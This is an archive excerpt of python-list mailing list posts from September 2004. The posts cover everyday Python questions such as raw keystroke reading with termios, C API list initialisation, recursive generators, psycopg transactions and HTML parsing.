From ThisIsNotMyReal at ddress.com  Wed Sep 22 20:15:22 2004
From: ThisIsNotMyReal at ddress.com (Brian)
Date: Thu, 23 Sep 2004 00:15:22 GMT
Subject: Check for keystroke
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
	<slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil>
Message-ID: <Xns956CC7408DB48nonenonecom@24.93.43.119>

It took a little bit of coaxing, but I finally got it to run.  
Unfortunately, it still pauses while waiting for a keystroke.  Am I 
missing something?

Fixed code:
import termios, sys, os
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd) # Old term info for restoration later
new = termios.tcgetattr(fd)
new[3] = new[3] & ~termios.ICANON & ~termios.ECHO
new[6][termios.VMIN] = 1
new[6][termios.VTIME] = 0
termios.tcsetattr(fd, termios.TCSANOW, new)

while 1:
        try:
                command = os.read(fd, 1)
                print command+">", #Echo manually
                if command == 'p':
                        termios.tcsetattr(fd, termios.TCSADRAIN, old) 
#Terminal back to line mode
                        break
        finally:
                termios.tcsetattr(fd, termios.TCSAFLUSH, old)



Lee Phillips <lee at leeHYPHENphillips.org.invalid> wrote in
news:slrncl3upc.b6e.lee at bad-bart.lcp.nrl.navy.mil: 

> import termios
> # in your method:
>         old = termios.tcgetattr(fd) # Old term info for restoration
>         later new = termios.tcgetattr(fd)
>         new[3] = new[3] & ~termios.ICANON & ~termios.ECHO
>         new[6][termios.VMIN] = 1
>         new[6][termios.VTIME] = 0
>         termios.tcsetattr(fd, termios.TCSANOW, new)
> 
>         while 1:
>             try:
>                 command = os.read(fd, 1)
>                 print command+">", #Echo manually
>                 if command == '0':
>                     termios.tcsetattr(fd, termios.TCSADRAIN, old)
>                     #Terminal back to line mode 
>                     break
>                 elif command == 'b':
>                 # do something....
>                 # and so on.....
>             finally:
>                 termios.tcsetattr(fd, termios.TCSAFLUSH, old)
> 



From steve at holdenweb.com  Sun Sep 26 13:23:54 2004
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 26 Sep 2004 13:23:54 -0400
Subject: Don't let your babies grow up to be programmers
In-Reply-To: <qs6cl0lblbh6u72suddbdnuid6vgu8v50u@4ax.com>
References: <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com>
	<IWf2d.33080$D7.2368@news-server.bigpond.net.au>
	<1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com>
	<cicm3q$a6g$1@sea.gmane.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
	<rp0b22-l8g.ln1@lairds.us>
	<278de0e.0409231337.1a032135@posting.google.com>
	<ddd9l056mf2ag7m97uhk6pc10h5m93fnrl@4ax.com>
	<1gknx0k.m09llxutwktbN%aleaxit@yahoo.com>
	<qs6cl0lblbh6u72suddbdnuid6vgu8v50u@4ax.com>
Message-ID: <h_C5d.236647$4o.113794@fed1read01>

Arthur wrote:

[...]
> 
> And the impact of the the energy of this brew is then labeled a new
> imperialism.  
> 
Well, it's probably something to do with the way that arms are used to 
promote the economic imperative when monetary incentives fail.

regards
  St=eve


From ramkrs80 at yahoo.com  Mon Sep 27 07:39:27 2004
From: ramkrs80 at yahoo.com (Karthik J)
Date: Mon, 27 Sep 2004 04:39:27 -0700 (PDT)
Subject: Query regarding GUI development using python
Message-ID: <20040927113927.24508.qmail@web51901.mail.yahoo.com>

Hi ,

I am currently executing a project which needs Python for GUI development which should be platform independent. 

1. My main development platform for the GUI will be the IRIX OS and unix flavour.

2. The GUI will be running on the host PC which in turn will be connected with the target work station (Which can be any OS (of Unix flavour) or Windows) 

3. Also mention any particular links for the guidelines for GUI development using Python.

4. How to pass the details through GUI (on the HOST) to the targer Workstation  ? LAN programming !!! or Socket Programming !! (In the case of socket programming , will the Apis be common for the unix and windows target platform).


Thanks for your cooperation in advance.

Regards

Karthik Iyer




		
---------------------------------
Do you Yahoo!?
vote.yahoo.com - Register online to vote today!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/25fb96bf/attachment.html>

From barry at python.org  Sun Sep  5 11:28:09 2004
From: barry at python.org (Barry Warsaw)
Date: Sun, 05 Sep 2004 11:28:09 -0400
Subject: [Python-Dev] Alternative placeholder delimiters for PEP 292
In-Reply-To: <59e9fd3a0409041520114d0604@mail.gmail.com>
References: <59e9fd3a040829231141cd3fe4@mail.gmail.com>
	<1094315616.8721.44.camel@geddy.wooz.org>
	<59e9fd3a0409041520114d0604@mail.gmail.com>
Message-ID: <1094398089.8144.39.camel@geddy.wooz.org>

On Sat, 2004-09-04 at 18:20, Andrew Durdin wrote:

> > The PEP 292 rules were specifically chosen for their similarity to
> > placeholder syntaxes in many other languages.
> 
> Sure. But just because many other languages do it that way doesn't
> mean that it's the best way for Python. There are significant
> advantages to using paired delimiters instead of a single prefix
> delimiter.
> 
> The "Rationale" section of PEP 292 says only that the desire was for
> something simpler than the built-in % substitution; if the similarity
> to many other languages is also an important part of the rationale,
> then the PEP should be modified to take that into account, should it
> not?

It's explained in the section of the PEP titled "Why $ and Braces?".

-Barry

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 316 bytes
Desc: This is a digitally signed message part
URL: <http://mail.python.org/pipermail/python-list/attachments/20040905/276e8fed/attachment.sig>

From pythonjob at op.pl  Wed Sep  1 08:16:33 2004
From: pythonjob at op.pl (KK)
Date: Wed, 1 Sep 2004 14:16:33 +0200
Subject: zope+listFilteredActionsFor
Message-ID: <ch4eeb$38a$1@atlantis.news.tpi.pl>

Hallo, I have the problem.

Zope 2.7.0, Plone-2.0.3, Linux

I list actions from portal_actions
actions python: here.portal_actions.listFilteredActionsFor(here)
I recive a list with actions. Depending on kind of logged user I recive that
list in diffrent count.
I mean that when I'm Manager the list is bigger than I'm SiteManager. I
suppose that it depends on permissions.
Where I can set it? I would like to recive the same list being Manager and
SiteManage as well.


Thanks in advance
KK




From aleaxit at yahoo.com  Wed Sep 22 17:47:11 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 23:47:11 +0200
Subject: Python lists ans sequence protocol from C API
References: <cirskl$3kr$1@planja.arnes.si>
Message-ID: <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com>

Matjaz <surfmatj at email.si> wrote:
   ...
> PySequence_SetItem with the following error message:
> "Unhandled exception at 0x1e04ed1a in python.exe:
> 0xC0000005: Access violation reading location 0x00000000."
> Could it be that basic lists do not support sequence protocol?

Once they're valid Python list objects, they do...

> Or am I missing something? I'm using Python 2.3.4 on Windows XP.

You're missing the fact that you're never building a valid Python list
object in your code.  The slots, as PyObject*, are 'random', probably
null pointers.  That's why you're supposed to use PyList_SET_ITEM
specifically to initialize these 'slots' WITHOUT trying to decref the
previously held item... there IS no 'previously held item'...!

> PyObject *argseq, *ov;
> int i, v, len;
> 
> len = 2;
> argseq = PyList_New(len);

This does NOT initialize the slots of list argseq, as above explained.

> for (i=0; i<len; i++) {
>      ov = PyInt_FromLong(i);
>      printf("Index %d. Success %d.\n", i, PySequence_SetItem(argseq, i, ov));
> }

But this does try to decref that null pointer (or whatever), so, BOOM.

> Why would I wish to use sequence with basic lists protocol? Because my
> code should also deal with other sequence types, possibly subclassed from
> python lists.

Nevertheless they'll need to be properly built, inizialized, first.

Add initialization, such as an immediate:
    for (i=0; i<len; i++) {
        PyList_SET_ITEM(argseq, i, Py_BuildValue(""));
    }
just after your
    argseq = PyList_New(len);
and you should be fine with PySequence_whateveryouwish now.


Alex




From andre at vandervlies.xs4all.nl  Mon Sep  6 17:25:25 2004
From: andre at vandervlies.xs4all.nl (Andre van der Vlies)
Date: Mon, 06 Sep 2004 21:25:25 +0000
Subject: Diffs for HTMLgen...
Message-ID: <413cb2bd$0$125$e4fe514c@dreader6.news.xs4all.nl>

A new set....
-------------- next part --------------
A non-text attachment was scrubbed...
Name: HTMLgen.patch
Type: text/x-patch
Size: 5433 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040906/2df5728a/attachment.bin>

From alban at magproductions.nl  Mon Sep 27 10:17:58 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Mon, 27 Sep 2004 16:17:58 +0200
Subject: Psycopg; How to detect row locking?
In-Reply-To: <m3655z2575.fsf@g2ctech.com>
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>	<m3y8iv3npy.fsf@g2ctech.com>
	<415811D2.7070408@magproductions.nl> <m3655z2575.fsf@g2ctech.com>
Message-ID: <41582116.4090605@magproductions.nl>

Jorge Godoy wrote:
>>I think the rows are locked because the inserts haven't finished 
>>inserting yet. The select takes place in the same session AFAIK, but not 
>>in the same thread of my Python application. I'm probably looking at a 
>>race condition here... (Ain't multithreading fun...)
> 
> If there's no data then a SELECT would return nothing at all, without
> any error after all you're querying the database for some information
> that doesn't exist.

You're right. I thought I had finally found the problem, but apparently 
I'll have to look further :(

>>I'm also not sure whether I'm actually looking at the same transaction. 
>>Is there a way to verify such?
> 
> You have to look at psycopg's docs.  I use pyPgSQL here.

I'm afraid that documentation on psycopg is rather scarce. The most 
enlightening is the documentation of DBAPI 2.0, but that's not specific 
to the psycopg implementation of course.

>>I do know for certain that all transactions use the same database 
>>connection (I pass it along in a context object, together with config 
>>settings and debugging methods). And I'm also quite sure that it doesn't 
>>commit in between.
> 
> You would benefit a lot of transactions if you are inserting a lot of
> data or if there's some relationship between data (and constraints and
> triggers and ... at the database).  The INSERT isn't commited until you
> issue a COMMIT.  Any SELECT before that will return nothing.  If you're
> not using transactions, then you are hitting the disk for each and every
> command.  I've made some tests here and the difference goes from some
> seconds (with transactions) to several minutes (without transactions)
> for a 65k rows insert on an old project we did. 

Not to mention the possibility to rollback if a query in the transaction 
fails. I'm so glad I didn't choose for something crude like MySQL ;)

> They use MVCC: Multi-Version Concurrency Control.  You might want to
> read about it:
> 
>         http://www.linuxgazette.com/issue68/mitchell.html
>         http://www.developer.com/open/article.php/877181

Actually I did know that, I just forgot to remember ;). I used to work 
with Oracle, and it works sort of the same way.

Thanks for the help, I'll have to find a better culprit.

Alban.


From peter at engcorp.com  Tue Sep 21 09:15:20 2004
From: peter at engcorp.com (phansen)
Date: Tue, 21 Sep 2004 09:15:20 -0400
Subject: Why not FP for Money?
In-Reply-To: <mailman.3640.1095771405.5135.python-list@python.org>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<mailman.3640.1095771405.5135.python-list@python.org>
Message-ID: <Y5CdnWNVNKb0tM3cRVn-pQ@powergate.ca>

Carlos Ribeiro wrote:
> On 21 Sep 2004 00:25:25 -0700, Chris Barker <barkmann at gmail.com> wrote:
>>If you were to use FP, you could have your IEEE 754 hardware do the
>>rounding for you, and get better performance to boot. 
> ...
> There is another potential problem: I think that the biggest benefits
> of the IEEE754 hardware would come with complex operations that are
> directly supported by the hardware. For simple tasks that make the
> bulk of money-handling code -- sums and multiplications -- integer
> based code is probably as fast or faster, even with all the checks and
> the scaling.

This is a good point, Carlos.  Although I don't know the speed
of current floating point hardware versus the integer opcodes,
it was certainly the case in the past that, while the floating
point hardware would give you a performance boost for floating
point math, *it was still slower than the CPU at integer math*.

Even if it doesn't now (which seems unlikely), choosing a path
that has greater performance but which has inherent problems
is a case of premature optimization of the worst kind...

-Peter


From sean.berry2 at cox.net  Tue Sep 14 00:00:14 2004
From: sean.berry2 at cox.net (news.west.cox.net)
Date: Mon, 13 Sep 2004 21:00:14 -0700
Subject: Easy question on opening a file
References: <3_t1d.296421$Oi.201894@fed1read04>
Message-ID: <B0u1d.296422$Oi.224867@fed1read04>


"news.west.cox.net" <sean.berry2 at cox.net> wrote in message 
news:3_t1d.296421$Oi.201894 at fed1read04...
>I want to check a directory, see if there are any files in it... then open 
>each one and do something.
>
> I have this...
>
> files = os.listdir('/direcory')
> if len(files) > 0:
>    for file in files:
>        f1 = file(file, "r")
>        do some other stuff

Figured out my mistake already.... 2 minutes later.
I should not be using the word file, which is a python keyword.


>
> But this raises a TypeError:
> TypeError: 'str' object is not callable
>
> So I tried replacing the line f1 = file(file, "r") with f1 = file('%s' 
> %file, "r")
> But that does not work either.
>
> I know this is easy, anyone care to point out the solution.
>
> Thanks.
>
> -- 
>
>
> Sean Berry ~ Internet Systems Programmer
> BuildingOnline Inc.
> The Building Industry's Web Design and Marketing Agency
> Celebrating our 9th year in business, founded Aug. 1995
> Ph: 888-496-6648 ~ Fax: 949-496-0036
>  --> Web Design Agency site: http://www.BuildingOnline.net
>  --> Building Industry Portal: http://www.BuildingOnline.com
>  --> Building Industry News: http://www.BuildingOnline.com/news/
>  --> Home Plans: http://www.eHomePlans.com
> 




From gerrit at nl.linux.org  Mon Sep 20 15:05:29 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 20 Sep 2004 21:05:29 +0200
Subject: new python book!!
In-Reply-To: <20040920170601.65899.qmail@web61204.mail.yahoo.com>
References: <20040920170601.65899.qmail@web61204.mail.yahoo.com>
Message-ID: <20040920190529.GA7604@nl.linux.org>

vegetax vegetax wrote:
>  I think we need more updated python books, most of
> them are from version 2.1 or 2.2 , if you have some
> other book covering python 2.3, post the link here.

Learning Python, 2nd edition (Amazon) also covers 2.3 I think.

Gerrit.

-- 
Weather in Twenthe, Netherlands 20/09 20:25:
	15.0?C   wind 7.6 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From peter at engcorp.com  Fri Sep 10 16:50:19 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 16:50:19 -0400
Subject: What's the Pythonic way to do this?
In-Reply-To: <e08cd05f.0409101235.50b1f8f3@posting.google.com>
References: <e08cd05f.0409101235.50b1f8f3@posting.google.com>
Message-ID: <qcOdnYlYFO0Wjt_cRVn-tQ@powergate.ca>

Doug Rosser wrote:
> class Cycle(object):
> 
>     def __init__(self, inputList):
>         object.__init__(self)
>         self.index = 0
>         self.limit = len(inputList)
>         self.list = inputList
> 
>     def next(self):
>         """
>         returns the next element of self.list, jumping
>         back to the head of the list if needed.
>         Yes, this is an infinite loop. (Use with caution)
>         Arguments:
>             none
>         Returns:
>             the next element of self.list
>         """
>         if self.index+1 < self.limit:
>             self.index+=1
>             return self.list[self.index-1]
>         else:
>             self.index=0
>             return self.list[self.limit-1]

I think this is spelled like this now:

import itertools
mycycle = itertools.cycle(inputList)

-Peter


From lbates at syscononline.com  Thu Sep 30 13:56:12 2004
From: lbates at syscononline.com (Larry Bates)
Date: Thu, 30 Sep 2004 12:56:12 -0500
Subject: idiom for debug code?
In-Reply-To: <y6SdnUz8sr673sHcRVn-gA@rogers.com>
References: <y6SdnUz8sr673sHcRVn-gA@rogers.com>
Message-ID: <wfmdnXvIef4v1cHcRVn-vQ@comcast.com>

Dan Perl wrote:
> Is there a mechanism or an idiom for adding code for debugging so that it 
> can easily be removed in the production code?  I am thinking of something 
> similar to the C/C++ preprocessor statements with which you can compile an 
> application with the debug code or without it (the default).
> 
> Dan 
> 
> 
Personally I think you should consider NOT removing the debugging code.
It never ceases to amaze me how many times I must have a client run
the application with debug set so that the program logs details about
the running process and intermediate results.  The output logfile can
then be easily emailed, faxed, etc. to me so that I can determine what
is REALLY the problem.  The overhead of these if _debug: "type"
statements seems incredibly low compared to the ability to get this
information when needed.  Just some thoughts based on my experience
of the last 30+ years.

Larry Bates
Syscon, Inc.


From carribeiro at gmail.com  Fri Sep 24 11:40:36 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 12:40:36 -0300
Subject: theme of the week: tools
In-Reply-To: <41542230.3070808@bellsouth.net>
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net>
Message-ID: <864d3709040924084034d8301a@mail.gmail.com>

I was one of the frequent posters on the many tools/ides/gui threads
that appeared here over the past weeks. I'm now partly satisfied. My
search for a good IDE that is usable in my lowend machine is still not
completed. But I found a good setup using a free editor and PythonWin
working together.

I'm using Crimson Editor, a small freeware editor. The most
interesting part is that it isn't the most featured of all editors
I've tried; it isn't as powerful as vi or emacs, but has one feature
that I wanted the most, that is a fairly simple project management
tool. It simply allows me to organize a list of files that I'm using
for a project on the left pane. I can click on a file to open it. It's
amazingly useful when you're dealing with "hot" files stored on
several different directories, and you don't have to remember where is
it located, or to manually walk the open file dialog looking for it.

I'm using PythonWin for testing, mostly because the Windows console is
so braindead, and because PythonWin help is quick well organized (it's
about the same that you find in the web, but a little bit more
convenient).

I'm also evaluating Wing IDE 2.0; I had a few issues with it that were
solved, but for some tasks I found it too heavy for my limited
resources. Anyway, I'm keeping an eye on it.

--
http://mail.python.org/mailman/listinfo/python-list





-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From lbates at swamisoft.com  Tue Sep  7 14:07:28 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 7 Sep 2004 13:07:28 -0500
Subject: Memory Error while constructing Compound Dictionary
References: <ccdb2248.0409070947.7f9e94ec@posting.google.com>
Message-ID: <To-dnUrE-4nZZqDcRVn-hw@comcast.com>

You are asking Python to create 125,000,000
(yes that's 125 million) empty dictionaries.  The hash
(key) of the dictionary takes up at least a couple
of bytes, plus the amount of space taken up by an
empty dictionary object at each entry (125 million
of them).  I'm not surprised, adds up pretty quickly.

HTH,
Larry Bates
Syscon, Inc.

"Benjamin Scott" <mynewjunkaccount at hotmail.com> wrote in message
news:ccdb2248.0409070947.7f9e94ec at posting.google.com...
> Hello.
>
> I attempted to build a compound dictionary:
>
> len(Lst)=1000
> len(nuerLst)=250
> len(nuestLst)=500
>
> Dict={}
>
> for s in Lst:
>      Dict[s]={}
>
> for s in Lst:
>      for t in nuerLst:
>           Dict[s][t]={}
>
> for s in Lst:
>      for t in nuerLst:
>           for r in nuestLst:
>                Dict[s][t][r]={}
>
>
>
> I got the following error:
>
> Traceback (most recent call last):
>   File "<pyshell#89>", line 5, in -toplevel-
>     Dict[s][t][r]=[]
> MemoryError
>
>
> Specs:
>
> Python 2.3.4
> XPpro
> 4 GB RAM
>
>
> Python was utilizing 2.0 GB when the error was generated.  I have
> attempted this task twice with different data sets.  I got the same
> error both times.
>
> Thanks in advance for your feedback,
>
> Benjamin Scott




From ben at benlast.com  Thu Sep 23 03:11:15 2004
From: ben at benlast.com (Ben Last)
Date: Thu, 23 Sep 2004 08:11:15 +0100
Subject: Parsing HTML
In-Reply-To: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>
Message-ID: <HLEGKHKIKMEHENBAEIEPKEIOCJAA.ben@benlast.com>

There are several HTML parsers, but many (including me) speak well of
Beautiful Soup; it doesn't try to check for correctness or do any
validation, it just parses the HTML.
http://www.crummy.com/software/BeautifulSoup/
ben

> -----Original Message-----
> From: python-list-bounces+ben=benlast.com at python.org
> [mailto:python-list-bounces+ben=benlast.com at python.org]On Behalf Of
> Anders Eriksson
> Sent: 23 September 2004 07:42
> To: python-list at python.org
> Subject: Parsing HTML
>
>
> Hello!
>
> I want to extract some info from a some specific HTML pages, Microsofts
> International Word list (e.g.
> http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I
> want to take all the words, both English and the other language and create
> a dictionary. so that I can look up About and get Om as the answer.
>
> How is the best way to do this?
>
> Please help!
>
> // Anders
> --
> http://mail.python.org/mailman/listinfo/python-list



From scook at elp.rr.com  Sat Sep  4 16:38:23 2004
From: scook at elp.rr.com (Stan Cook)
Date: Sat, 04 Sep 2004 20:38:23 GMT
Subject: Dbase Connection
Message-ID: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com>

Does anyone know how or what I can use to open, read and extract data from a
dbase database?  I haven't found anything of much use with accompanying
documentation.





From donn at u.washington.edu  Thu Sep  9 16:07:13 2004
From: donn at u.washington.edu (Donn Cave)
Date: Thu, 09 Sep 2004 13:07:13 -0700
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<m33c1rcrxg.fsf@pc150.maths.bris.ac.uk>
Message-ID: <donn-28AD1A.13071309092004@gnus01.u.washington.edu>

In article <m33c1rcrxg.fsf at pc150.maths.bris.ac.uk>,
 Michael Hudson <mwh at python.net> wrote:
...
> Well, 
> 
> try:
>     meth = myobj.method
> except AttributeError:
>     pass
> else:
>     meth()
> 
> is possibly better (your version might hide bugs in the method).  It's
> a pain to do this all the time, though.
> 
> Come to think of it
> 
> getattr(myobj, "method", lambda :None)()
> 
> also acheives the same thing.  Bit inscrutable, though.

Along the same lines,

  if hasattr(myobj, 'method'):
      myobj.method()

That's not uncommon usage, and has the advantage
of more directly and economically saying what the
try/except block is trying to say.

   Donn Cave, donn at u.washington.edu


From __peter__ at web.de  Sun Sep  5 14:02:37 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 05 Sep 2004 20:02:37 +0200
Subject: Lager'd Statistics on language migration
References: <2ae25c6b.0409050132.4ce24330@posting.google.com>
	<Xns955BC8D9DD29Ccpl19ghumspamgourmet@195.20.224.116>
Message-ID: <chfkbt$k0j$03$1@news.t-online.com>

Harald Massa wrote:

> Paddy,
> 
> what google do you google?
> 
> I just checked out one number:
> 
> "perl to python migration"          785
> 
> giving me
> 
> Ergebnisse 11 - 20 von ungef?hr 87.100 f?r perl to python migration. (0,20
> Sekunden)
> 
> (on english: google found around 87.100 entries for "perl to python
> migration")

He searched for "perl to python migration" _with_ the quotes, you _without_
and therefore you got many hits containing the words "perl", "python" and
"migration" ("to" is excluded because it is too common) but not the phrase
"perl to python migration", i. e. "python to perl migration" would be a
hit, too.

> the dark side is that most deal with one book of this title

You are right here...

Peter





From dperl at rogers.com  Thu Sep  2 23:40:04 2004
From: dperl at rogers.com (Dan Perl)
Date: Fri, 03 Sep 2004 03:40:04 GMT
Subject: Recursive Generator Question
References: <6543373d.0409021839.5caff11d@posting.google.com>
Message-ID: <oIRZc.177509$UTP.79883@twister01.bloor.is.net.cable.rogers.com>

Why do you define __iter__?  And Node.next is your generator function, so
you have to invoke it, it's not invoked implicitly.  You are not creating an
iterator yourself, the generator function returns one for you.  That
iterator has a next( ) method and that's what's getting called to iterate
through the tree.  So there is no need to actually name the generator
function in your class "next", you can name it anything.

BTW, here is the definition for generator functions:
http://docs.python.org/ref/types.html#l2h-90

Here is the way I think your code should be with minimal changes (I put in
comments for the changes):
    class Node:
        def __init__(self, data=None, left=None, right=None):
            self.children = []
            self.children.append(left)
            self.children.append(right)
            self.data = data

        # Got rid of the __iter__ method

        def next(self):
            """Generator function"""                # Better description
            if self.data:
                yield self
            else:
                for child in self.children:
                    for terminal in child.next():      # Changed child to
child.next()
                        yield terminal

    if '__main__'==__name__:
        a = Node('a')
        b = Node('b')
        c = Node('c')
        d = Node('d')
        ab = Node(left=a, right=b)
        cd = Node(left=c, right=d)
        abcd = Node(left=ab, right=cd)
        for termNodes in abcd.next():            # Changed abcd to
abcd.next()
            print termNodes.data                     # no error

Dan

"Paul Chiusano" <pchiusan at umich.edu> wrote in message
news:6543373d.0409021839.5caff11d at posting.google.com...
> I've been playing around with generators and have run into a
> difficulty. Suppose I've defined a Node class like so:
>
> class Node:
> def __init__(self, data=None, left=None, right=None):
> self.children = []
> self.children.append(left)
> self.children.append(right)
> self.data = data
>
> def __iter__(self): return self
>
> def next(self):
>         """ Returns iteration over terminal nodes of this tree. """
> if self.data:
> yield self
> else:
> for child in self.children:
> for terminal in child:
> yield terminal
>
>
> And then suppose I create a little binary tree like so:
>
> a = Node('a')
> b = Node('b')
> c = Node('c')
> d = Node('d')
> ab = Node(left=a, right=b)
> cd = Node(left=c, right=d)
> abcd = Node(left=ab, right=cd)
>
> for termNodes in abcd:
> print termNodes.data # gives an error
>
> when I do this, I get the following error:
> Traceback (most recent call last):
>   File "C:\Documents and Settings\Paul
> Chiusano\workspace\sandbox\hello.py", line 69, in ?
>     print termNodes.data
> AttributeError: 'generator' object has no attribute 'data'
>
> For some reason, that iteration is returning generators instead of
> leaves. Curiously, if I replace that for loop with
>
> for termNodes in terminals(abcd): # see definition below
> print termNodes.data # no problem!
>
> then it actually prints out:
> a
> b
> c
> d
>
> Here's the definition of terminals--pretty much identical to next.
>
> def terminals(t):
> """ Returns an iteration over the leaves of a tree, t """
> if t.data: # if I have data, then I'm a terminal node
> yield t
> else:
> for child in t.children:
> for terminal in terminals(child):
> yield terminal
>
> Am I missing something? Or is it not possible to define recursive
> generators in this way?
>
> Thanks,
> Paul




From fperez528 at yahoo.com  Fri Sep 24 20:08:20 2004
From: fperez528 at yahoo.com (Fernando Perez)
Date: Fri, 24 Sep 2004 18:08:20 -0600
Subject: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
Message-ID: <cj2ctk$kl1$1@peabody.colorado.edu>

Carlos Ribeiro wrote:

> I'm using PythonWin for testing, mostly because the Windows console is
> so braindead, and because PythonWin help is quick well organized (it's
> about the same that you find in the web, but a little bit more
> convenient).

<blatant plug>

You may want to try ipython (http://ipython.scipy.org).  It gives you under
Windows (or linux, or OSX) colored tracebacks, tab-completion, directory
management, integrated pdb loading on uncaught exceptions, profiler support,
and quite a bit more.

I don't use windows, but under linux my development setup is Xemacs+ a terminal
with ipython running.  Thanks to ctypes and UNCreadline, you get exactly the
same functionality under windows (along with your editor of choice).  I
honestly find it to be a _very_ efficient setup.

</plug>

Cheers,

f


From walter at livinglogic.de  Tue Sep 14 06:01:29 2004
From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Tue, 14 Sep 2004 12:01:29 +0200
Subject: Small inconsistency between string.split and "".split
In-Reply-To: <864d370904091311095be3e08c@mail.gmail.com>
References: <mailman.3241.1095094663.5135.python-list@python.org>	<LJSdnepvP_vbSdjcRVn-hg@powergate.ca>	<864d370904091310411a2cf435@mail.gmail.com>	<20040913175927.GB4646@siliconimage.com>
	<864d370904091311095be3e08c@mail.gmail.com>
Message-ID: <4146C179.5000404@livinglogic.de>

Carlos Ribeiro wrote:
> On Mon, 13 Sep 2004 10:59:27 -0700, Inyeol Lee <inyeol.lee at siimage.com> wrote:
> 
>>I think "None" trick was documented here since string method was
>>introduced.
> 
> I got it now. The problem is that I had just read the docstring --
> yes, not the manual, and admit it, it was lazyness of my part ;-) But
> anyway... the keyword parameter handling is inconsistent, *and* the
> docstring could mention something about sep="None".

I've fixed the docstring for both unicode.split() and
string.split() to give a hint about the None default. Note
that the docstring for str.split() already *did* mention
the None option.

Bye,
    Walter D?rwald



From rkern at ucsd.edu  Thu Sep 16 08:05:03 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Thu, 16 Sep 2004 05:05:03 -0700
Subject: python: ascii read
In-Reply-To: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
Message-ID: <cibvhf$qrh$1@news1.ucsd.edu>

Sebastian Krause wrote:
> Hello,
> 
> I tried to read in some large ascii files (200MB-2GB) in Python using 
> scipy.io.read_array, but it did not work as I expected. The whole idea 
> was to find a fast Python routine to read in arbitrary ascii files, to 
> replace Yorick (which I use right now and which is really fast, but not 
> as general as Python). The problem with scipy.io.read_array was, that it 
> is really slow, returns errors when trying to process large files and it 
> also changes (cuts) the files (after scipy.io.read_array processed a 2GB 
> file its size was only 64MB).
> 
> Can someone give me hint how to use Python to do this job correctly and 
> fast? (Maybe with another read-in routine.)

What kind of data is it? What operations do you want to perform on the 
data? What platform are you on?

Some of the scipy.io.read_array behavior that you see look like bugs. We 
would greatly appreciate it if you were to send a complete bug report to 
the scipy-dev mailing list. Thank you.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From vincent at visualtrans.de  Sat Sep 18 12:07:15 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Sat, 18 Sep 2004 18:07:15 +0200
Subject: win32api.SetCursorPos() question
In-Reply-To: <10kol21ah3ulpcc@corp.supernews.com>
References: <10kol21ah3ulpcc@corp.supernews.com>
Message-ID: <cihmfj$3r8$1@news5.zwoll1.ov.home.nl>

Gary Richardson wrote:
> I'm trying to use win32api.SetCursorPos() to position the cursor in a
> Tkinter canvas window. I.e.:
> 
> from Tkinter import *
> import win32api
> root = Tk()
> canvas = Canvas(root,  width=400, height=300, bg='white')
> canvas.pack()
> win32api.SetCursorPos(100,100)
> root.mainloop()
> 
> But this code produces:
> 
> Traceback (most recent call last):
>   File
> "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
> line 301, in RunScript
>     exec codeObject in __main__.__dict__
>   File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ?
>     win32api.SetCursorPos(100,100)
> TypeError: SetCursorPos() takes exactly 1 argument (2 given)
> 
> Am I using this function incorrectly? A search on Google didn't turn up much
> but I did find one bit of code in which it was used in this manner.
> 
> I suspect there may be other problems with this approach so any further
> comments will be appreciated also. I'm using ActivePython 2.2.2 build 224 on
> Win98SE.
> 

Different then what the docs say, this function seems to want a tuple as 
argument. See if win32api.SetCursorPos((100,100)) does the trick.

--
Vincent Wehren



> Thanks,
> Gary Richardson
> 
> 
> 
> 
> 
> 


From bokr at oz.net  Wed Sep 29 13:56:12 2004
From: bokr at oz.net (Bengt Richter)
